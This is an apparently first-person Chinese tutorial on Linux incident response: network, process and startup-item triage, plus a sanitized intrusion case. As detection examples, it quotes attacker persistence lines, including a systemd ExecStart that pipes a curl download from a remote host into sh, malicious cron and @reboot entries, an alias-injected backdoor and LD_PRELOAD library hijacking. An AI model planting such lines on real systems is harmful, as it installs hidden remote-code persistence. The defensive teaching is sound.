1. 从一次告警说起应急响应该看的和不该看的大概两年前的一次值班经历到现在我还记得很清楚。凌晨两点多SOC推了一条告警某台数据库服务器的出站流量异常飙升。我照例登上去netstat -antp刷出来一堆 ESTABLISHED连接指向同一个固定 IP目标端口还不常见。当时的第一反应是直接kill -9结束那个可疑进程然后开开心心去写报告。结果第二天同一时间同样的连接又出现在netstat列表里。后来才想明白我看到的只是一个“前台演员”背后的启动项、定时任务和进程守护机制根本没被触及。这种经历在 Linux 应急响应里太典型了。很多刚接触应急响应的人拿到服务器第一件事就是ps -ef看有没有可疑进程netstat -antp看有没有异常连接看到什么杀什么。这种做法不能说错但至少不完整。攻击者真正的高明之处往往在于把“表面行为”和“持久化机制”分离木马文件被删了守护脚本还在几分钟后重新拉起来进程 kill 了写进 cron 的任务还在等你走后又复活。所以到了进阶阶段我会把排查思路拆成三条主线网络行为分析、进程检测、启动项排查。这三条线单独看都不复杂但串联起来就是一个完整的攻击链。这篇文章适合谁适合已经熟悉常用 Linux 命令但想在应急响应中建立系统化思路的运维和安全工程师。我会尽量把每一步的“为什么”讲清楚包括常用的工具选型、误报判断和容易漏掉的地方。读完你会发现应急响应不是单纯执行命令而是用证据和时间线把入侵过程重新拼出来。2. 网络行为分析被忽视的流量侧证据2.1 连接快照先回答“谁在连谁”应急响应第一步我永远不会跳过网络层。不管攻击者是植入挖矿木马、外传数据还是建立远程控制信道最终都会体现在网络连接上。最简单的命令组合是ss -antup和lsof -i。有些发行版默认没有netstat我更推荐ss它直接从内核 socket 读取信息输出也更快。执行ss -antup后我通常关注三个特征源地址和源端口是否合理。生产服务器的 MySQL、Redis、Nginx 端口固定如果某个进程的使用了随机的 10000 以上端口主动往外连就要标记。目标地址的归属和信誉。如果目标 IP 是云主机段、IDC 段并且端口是 8443、4444、138 这类常见木马端口优先排查。连接状态。大量SYN-SENT说明程序在反复尝试外连大量ESTABLISHED且目标集中在同一网段则要小心数据外传。ss的输出里会带上进程 PID但 PID 可以被伪装。所以我通常会用lsof -i -P -n从进程角度再交叉验证一遍。lsof -p PID还能看到进程打开的所有 socket、文件描述符这是后面进程溯源时很有用的入口。需要注意的是网络连接快照只能证明某个瞬间的状态。攻击者如果做了连接频率控制或者只在内网横向移动你在主机上看到的连接可能非常有限。因此连接快照的作用是“让嫌疑进程浮出水面”而不是下最终结论。2.2 抓包与流量还原连接背后到底传了什么光知道“谁在连谁”还不够。很多场景下我们需要搞清楚连接里跑的是什么内容。这时候tcpdump就派上用场了。应急现场抓包和平时做网络排查不一样不能一开始就全量抓流量一大服务器直接卡死。我常用的抓包姿势是tcpdump -i eth0 -nn -w /var/tmp/evidence.pcap host 被怀疑IP或本机IP and tcp and not port 22先声明一个原则抓包时间不要太长抓取 30 秒到 5 分钟基本能捕捉到心跳型外连。如果怀疑是数据外传可以抓更久但要控制磁盘占用-C参数按文件大小轮转写入是更稳妥的做法。抓包结束后我会用tshark统计流量走向tshark -r /var/tmp/evidence.pcap -q -z conv,tcp这能看到 TCP 会话双方、包数、字节数。如果某个会话只有几百字节且周期固定很可能就是“心跳”或“回连指令”。接下来用-Y过滤出具体会话的原始载荷输出成strings看看有没有明文内容tshark -r /var/tmp/evidence.pcap -Y ip.addrX.X.X.X -T fields -e data.data | xxd -r -p | strings实践里我遇到过木马把 C2 指令伪装成 HTTP 请求的情况Payload 里带/api/ping、hostname等字段。也遇到过把敏感数据打包成纯二进制外传的这种基本上只能靠流量指纹和协议特征来识别。纯文本内容提取的价值在于快速定性不一定能还原完整语义。2.3 DNS 与解析缓存很多木马的心跳藏在这里网络行为分析里DNS 是最容易被忽视的深水区。攻击者喜欢用随机子域名做 DNS 隧道或者域名前置因为 DNS 请求本身往往不会被安全设备重点审计。应急响应时我会分几个层面去查。先看系统级 DNS 配置有没有被篡改cat /etc/resolv.conf cat /etc/hosts/etc/hosts被塞进一条解析记录把正常域名指向恶意 IP这是很老但依然有效的劫持手段。再看 DNS 解析日志。如果系统用了systemd-resolved可以查journalctl -u systemd-resolved --since 2025-01-01 00:00如果网络里跑着自建 dnsmasq直接看/var/log/messages或 dnsmasq 的 query 日志。排查时关注两类特征一类是大量未解析的 NXDOMAIN攻击者常用随机算法生成域名做探测另一类是固定间隔访问某一域名的记录比如每 60 秒解析一次update.dns-now[.]xyz这种固定节律往往就是木马心跳。如果怀疑某个进程在做 DNS 请求可以用strace -f -e tracenetwork -p PID跟踪。但这需要进程已经在进程检测阶段被定位。平时应急中我会先查 DNS再通过解析日志反查发起请求的进程效果更好。2.4 网络侧日志与流数据无法上主机时的备选视角有时候主机已经无法安全登录或者攻击者把主机上的日志清干净了这时网络侧证据就变成唯一突破口。云厂商的流量日志、交换机 NetFlow/sFlow、旁路探针都能提供“当时谁和谁建立了连接”的客观记录。里面最核心的是“五元组”和时间戳。用流日志排查时我通常先做聚类按目的 IP 聚合会话数按目的端口聚合。攻击者横向扫描时会出现大量到同一个网段的 445、3306、6379 等端口连接数据外传时则会是某个进程对少数几个外部 IP 产生稳定的长连接。再结合时间维度如果在漏洞发生时间之后突然出现这些连接基本可以确认攻击链的一部分。网络侧日志还有一个好处它不受主机被入侵的影响。攻击者在主机上可以使用 rootkit 隐藏进程和连接但很难篡改交换机上的流量记录。所以在应急响应报告中我习惯把网络侧数据和主机侧数据分开列前者证明“发生了什么”后者证明“主机内部怎么实现的”。3. 进程检测从表面进程到背后真相3.1 进程树与父进程关系异常往往从家庭关系暴露网络层锁定嫌疑方向后下一步回到主机内部。看进程不能只看进程名和 CPU 占用。ps -ef默认输出里最该看的是 PPID父进程 ID。正常业务进程的父进程关系是固定的Nginx worker 的父进程是 masterPHP-FPM worker 的父进程是 master由 systemd 启动的服务PPID 一般是 1如果发现一个名字是nginx的进程PPID 却是一个bash或php-fpm这个“家庭关系”就非常可疑。进程伪装往往只伪装名字很少有人会连父进程关系和启动时间一起伪装因为这需要修改内核或做更高级的 hook。我常用的命令是ps -ef --forest pstree -apps --forest会以树状显示进程关系比肉眼看 PID 方便得多。pstree -ap能直接显示每个进程 PID 和命令行。应急时我会先快速扫一眼树状图里那些“单枝叉出来”的进程尤其是从/tmp、/dev/shm、/var/tmp等目录启动的。正常业务几乎不会从这些路径运行二进制文件。3.2 /proc 文件系统每个进程的金矿/proc是 Linux 开放给用户态的一扇窗户每一个运行中的进程在/proc/PID/下都有对应目录。这里面的东西比ps提供的“静态快照”要丰富得多。最实用的几个文件cmdline完整命令行参数注意参数之间用\0分隔直接cat会显示成一行。可以用tr \0 /proc/PID/cmdline查看。exe指向进程实际执行的二进制文件。ls -l /proc/PID/exe如果显示(deleted)说明文件已经被删除但进程还在内存中运行这是非常强烈的入侵信号。cwd进程当前工作目录。一个数据库进程的工作目录如果变成了/tmp几乎可以判定有问题。fd进程打开的文件描述符。如果里面出现 socket、/tmp/...的可疑文件能对应到网络连接。environ进程环境变量。恶意启动脚本经常在这里注入LD_PRELOAD动态库路径。maps进程地址空间映射。如果看到某个普通服务进程映射了/tmp下的.so文件说明存在共享库注入。应急响应实践中我会写一个简单的最外层扫描脚本遍历所有 PID把可疑项打印出来for pid in $(ls /proc | grep -E ^[0-9]$); do if [ -r /proc/$pid/cmdline ]; then cmd$(tr \0 /proc/$pid/cmdline) exe$(readlink /proc/$pid/exe 2/dev/null) cwd$(readlink /proc/$pid/cwd 2/dev/null) echo PID$pid CMD$cmd EXE$exe CWD$cwd fi done输出量可能很大我会把结果存到文件里再慢慢翻。实际经验是80% 的恶意进程会在exe或cwd里直接暴露比如EXE/tmp/.X11-unix/update这种一眼就能看出来。3.3 隐藏进程与注入痕迹为什么 ps 靠不住ps读取/proc的时候可以被LD_PRELOAD劫持对象或通过修改内核模块来过滤某些目录。所以不要迷信ps尤其是在已经定位到 rootkit 痕迹时。下面几个信号值得留意/proc目录里存在ps -ef没展示的 PID。可以对比/proc下的数字目录和ps -e的 PID 列表多出来的 PID 就是疑似隐藏进程。检查动态链接预加载。cat /etc/ld.so.preload如果里面写了一个可疑.so路径一定要查。攻击者常把后门 .so 丢在/lib或/usr/lib再通过/etc/ld.so.preload让它对所有进程生效。用lsmod查看内核模块。内核级 rootkit 会加载名为hideproc、modhide之类的模块。虽然现代攻击者会用合法模块名伪装但lsmod结合模块文件路径检查还是可以发现异常。用ss -xlp查看 Unix socket 监听。木马经常用 Unix socket 做进程间通信比 TCP 隐蔽得多。内存取证的理想手段是用Volatility这类工具做离线分析把/dev/mem映像拉出来慢慢看。不过那需要整套环境应急现场一般来不及。更实际的方案是在主机上先做快照和核心痕迹采集之后再用内存分析工具离线深挖。4. 启动项排查彻底断掉死灰复燃的根4.1 systemd 单元与 Timer不只查 enabled 服务进入启动项排查阶段目标很明确找到攻击者植入的“自动运行机制”让它在重启、定时触发或进程被 kill 后继续把恶意程序拉起来。很多应急人员查 systemd 只会执行systemctl list-unit-files --typeservice | grep enabled这是不够的。攻击者有时候不会把服务文件放在标准目录而是直接放在/etc/systemd/system/下用systemctl daemon-reload刷新后启动。于是我一般这样查systemctl list-unit-files --typeservice --stateenabled systemctl list-timers --all find /etc/systemd/system/ /usr/lib/systemd/system/ -name *.service -newermt 最近一周 -print重点关注ExecStart行。如果一行里出现sh -c、curl、wget、/tmp路径基本就是可疑服务。比如我之前遇到过一个恶意服务叫php-session-clean.service名字看起来人畜无害ExecStart 里却是ExecStart/bin/sh -c curl -s http://x.x.x.x/1.sh | sh此外systemd timer 也常被忽略。Timer 不显示在 service 列表里而是独立单元。它会让攻击者逃脱“只查 enabled service”的视野。所以应急排查systemctl list-timers --all是必做项。4.2 cron 与 shell 启动文件老伎俩依然有效如果说 systemd 是主流运行机制那么 cron 和 shell 启动文件就是“老而弥坚”的常客。攻击者为什么爱用 cron因为它足够简单而且不依赖 systemd只要 cron 服务在运行就能网罗一切。排查时按下面顺序过一遍crontab -l -u root cat /etc/crontab ls -la /etc/cron.d/ ls -la /var/spool/cron/注意/etc/cron.d/里的文件也要逐个cat有些发行版默认只读全局 crontab攻击者会往这里塞行。除了定时点任务还要看reboot任务。它能让恶意程序在每次开机后自动运行而且不一定出现在systemctl的服务列表里。典型的恶意行是reboot /tmp/.module/init.sh /dev/null 21Shell 启动文件也经常被动手脚。重点检查/etc/profile、/etc/bashrc、~/.bashrc、~/.profile、/etc/profile.d/下所有脚本。攻击手法是在里面追加一行alias lsls --coloralways 2/dev/null; /tmp/.hidden/backdoor /dev/null 21 或者直接nohup /tmp/xx 。这种后门的特点是一登录就激活平时单看进程列表很难发现因为它启动后可能立即退出留下的只有长期驻留的网络连接。除了传统 shell我还建议看一下 SSH 层面的持久化检查~/.ssh/authorized_keys有没有陌生的公钥。这不算启动项但和“自动运行”一样属于攻击者维持权限的重要手段。把它和其他启动项一起排查才算覆盖完整。4.3 链接劫持与内核模块比启动项更隐蔽的持久化有些后门不依赖 systemd也不依赖 cron而是把持久化做在“程序启动机制”本身。最常见的两类是动态链接劫持和内核模块加载。动态链接劫持我会查两个地方cat /etc/ld.so.preload cat /etc/ld.so.conf ldconfig -p | grep 可疑路径/etc/ld.so.preload里的库会被所有使用 glibc 的进程预加载攻击者可以在里面放一个后门共享库把getuid、readdir等函数 hook 掉从而隐藏文件、隐藏进程、隐藏网络连接。还有环境变量级别的LD_PRELOAD它不需要写全局配置只要在启动脚本里设置一个环境变量进程启动时就会加载恶意库。前面提到的/proc/PID/environ里如果出现LD_PRELOAD/xxx.so就是这类痕迹。内核模块方向我会先执行lsmod看已加载模块再用modinfo检查可疑模块的路径和作者。签名机制能帮忙判断如果模块没有签名或签名不匹配而系统的 kernel 强制要求签名那基本可以断定是恶意驱动。遇到这类情况不建议在受害主机上直接卸载先记录证据并隔离主机再交给更专业的取证流程。启动项排查结束以后应该能回答一个问题即使我现在杀掉恶意进程过 5 分钟或重启后它还会回来吗如果答案是“会”说明还有启动路径没找到。5. 实操实录一套完整取证与根除案例5.1 现象收敛告警到初步连接定位下面用一个实际处理过的案例来复盘IP 和文件路径已做脱敏处理。某 CentOS 7 服务器收到告警出站流量在凌晨三点左右突增持续时间约 20 分钟。登录服务器后我先记录现场时间date uptime ss -antup /var/tmp/evidence/ss_output.txt ps -ef /var/tmp/evidence/ps_output.txt ls -l /var/tmp/evidence/ sha256sum /var/tmp/evidence/*.txt为什么要先记录sha256sum因为后续如果要把这些输出作为证据拿到干净环境分析时需要能证明它们没有被改动过。接下来看ss_output.txt里面有一条连接格外显眼进程 PID2333用户名mysql本地端口45123远端地址203.0.113.80:8443连接状态ESTABLISHEDMySQL 服务正常不会用 mysql 用户对外建立 8443 连接。可疑程度直接拉满。但我不急着 kill先看这个 PID 到底是什么。5.2 进程溯源在 /proc 里找到伪装进程的马脚执行几个关联命令ls -l /proc/2333/exe cat /proc/2333/cmdline | tr \0 readlink /proc/2333/cwd ls -l /proc/2333/fd | tail -20 cat /proc/2333/environ | tr \0 \n | grep -i LD_PRELOAD结果如下exe指向/tmp/.X11-unix/mysqld并且标记为(deleted)。cwd是/tmp/.X11-unix。环境变量里出现了LD_PRELOAD/tmp/.X11-unix/evil.so。文件描述符里既有 TCP socket又有指向/tmp/.X11-unix/lib.so.6的映射。这个进程几乎就是“实锤”了一个伪装成 mysqld、从/tmp启动、文件已删除、还加载了额外共享库的恶意进程。接着我用ps -ef --forest看它的父进程PPID 是 1说明它已经被 init 收养正常业务进程通常不是这样。真正拉起它的脚本还在别处。5.3 启动项清理断掉重生路径这一步就是前面启动项排查方法的实际落地。我按顺序查了 systemd 和 cronsystemctl list-unit-files --typeservice --stateenabled systemctl list-timers --all crontab -l -u root cat /etc/crontab ls -la /etc/cron.d/ find /etc/systemd/system/ -name *.service -newermt 2025-01-01 -print在/etc/cron.d/里发现一个名为sysupdate.cron的文件内容只有一行*/5 * * * * root /tmp/.X11-unix/update.sh /dev/null 21同时/etc/systemd/system/下有个fakelib.serviceExecStart也是指向同一个update.sh脚本ExecStart/bin/bash /tmp/.X11-unix/update.sh攻击者做了双保险不管 cron 有没有被停掉systemd 都能把脚本拉起来。清理时不能只删一个。我先执行systemctl disable fakelib.service systemctl stop fakelib.service rm -f /etc/systemd/system/fakelib.service rm -f /etc/cron.d/sysupdate.cron systemctl daemon-reload然后 kill 恶意进程清理恶意文件目录kill -9 2333 rm -rf /tmp/.X11-unix不要急着删样本先在删除前把恶意文件打包到一个只读目录并计算哈希留给后续分析。我当时的做法是mkdir /var/tmp/sample cp -a /tmp/.X11-unix/* /var/tmp/sample/ sha256sum /var/tmp/sample/* /var/tmp/sample/hash.txt最后再运行ss -antup和ps -ef确认没有相关进程和连接重启验证一次确保没有残留。5.4 样本留存与现场复盘这个案例里时间线大致是攻击者利用 Web 服务漏洞上传了 webshell然后通过 webshell 下载并执行恶意脚本恶意脚本释放木马和守护文件建立 C2 连接同时注册 cron 和 systemd 服务。最终我拿到的 IOC 包括恶意进程文件名mysqld伪装恶意脚本路径/tmp/.X11-unix/update.sh恶意共享库/tmp/.X11-unix/evil.soC2 地址203.0.113.80:8443把样本提交到内部情报平台后确认这是某个利用弱口令或未授权漏洞植入的远控木马。复盘时最重要的一点是不要把“kill 进程”当作处置完成要确保启动项和守护脚本都被清理否则第二天告警还会回来。6. 应急响应er的自我修养时间线、取证规范与常见误判6.1 先存证据再动手在受害主机上做操作每一步都可能改变现场。哪怕只是ls命令也会留下 shell 历史记录影响后续取证结论。越是紧急越要先给自己立规矩。我给自己定的顺序是先截图/记录现场时间date和uptime打头。把关键命令输出重定向到证据文件而不是只打印在屏幕上看一眼。ss -antup、ps -ef、ls -l /proc/*/exe这些输出全部追加到/var/tmp/evidence/目录。对每个证据文件算哈希。保存哈希列表方便后续比对。再做分析。分析尽量在干净环境里进行不要在受害主机上装分析工具也不要在受害主机上解压样本。如果疑似内核级 rootkit还要考虑先做内存镜像或硬盘只读镜像再离线排查。随手 kill 进程或关机重启都可能把内存中的证据清零。6.2 构建时间线的基本方法应急响应的核心产出不只是“找到后门”而是“还原入侵过程”。时间线能帮你看出攻击入口、横向移动路径和最终持久化方式。构建时间线时我会合并以下几类时间戳日志时间/var/log/secure、/var/log/messages、Web 访问日志。文件时间恶意文件的stat时间atime / mtime / ctime。注意攻击者可能用touch -d伪造时间单看stat不够还要看文件 inode 创建时间和相邻文件的时间簇。网络会话时间NetFlow 或云流量日志里的连接建立时间。进程启动时间ps -o pid,lstart,cmd -p PID进程启动时间往往和攻击链高度吻合。比如日志显示某个时间点有来自外部的 HTTP 请求打到了上传接口同时间/tmp下出现新文件半小时后主机开始向恶意 IP 发起连接这个时间链就能成立。有了时间线处置报告才真正有说服力。6.3 哪些“正常”会让你误入歧途误判在应急响应里很常见我说两个方向。一个是对“端口”的刻板印象。看到 443 端口就放松警惕看到 4444 就紧张。实际上 HTTPS 443 完全可以传任意内容很多远控木马就混在正常 HTTPS 流量里目标准确、包装正常。端口只是线索之一不能单独下结论。另一个是对“进程名”的依赖。ps显示的进程名可以是攻击者自己指定的参数/bin/bash完全可以取个名字叫java。只看进程名不如看exe链接和启动路径。比如一个网页服务目录下出现java进程但readlink /proc/PID/exe却指向/usr/bin/python3那它绝对不是 Java。还有一类经典误判是把系统自带服务当成恶意。比如systemd-resolved会对外访问 53 端口chronyd会周期性连接 NTP 服务器unbound也会做 DNS 请求。排查前先对全公司的正常进程基线做梳理能省下大把时间。6.4 准备一套离线应急工具箱在受害主机上用yum install tcpdump不一定会被篡改但一旦系统已经被入侵包管理器可能被人为指向假的源装下来的工具不可信。应急场景下更推荐准备一套静态编译的工具箱放在 U 盘或内部制品库里。基础清单大概包括busybox包含常用的 sh、ps、ls、cat静态版lsof静态版tcpdumpstracehtop或procps套件一个能计算 sha256 的工具这些工具在目标机器上放到临时目录直接执行不依赖系统动态库能有效降低被 hook 工具欺骗的概率。当然如果你已经怀疑是内核级 rootkit静态工具也可能被 hook最终还是要把磁盘和内存送到离线环境做深度取证。最后说一点个人体会应急响应最忌讳“上来就杀”。我在处理了足够多案例后反而越来越克制。先收集后分析再处置最后加固这个顺序不能乱。因为攻击者留下的每一个文件、每一条连接都可能在后续溯源和法务流程里成为关键证据。把网络行为、进程、启动项三条线结合起来你才能真正做到“拔草除根”而不是只把露在外面的叶子剪掉。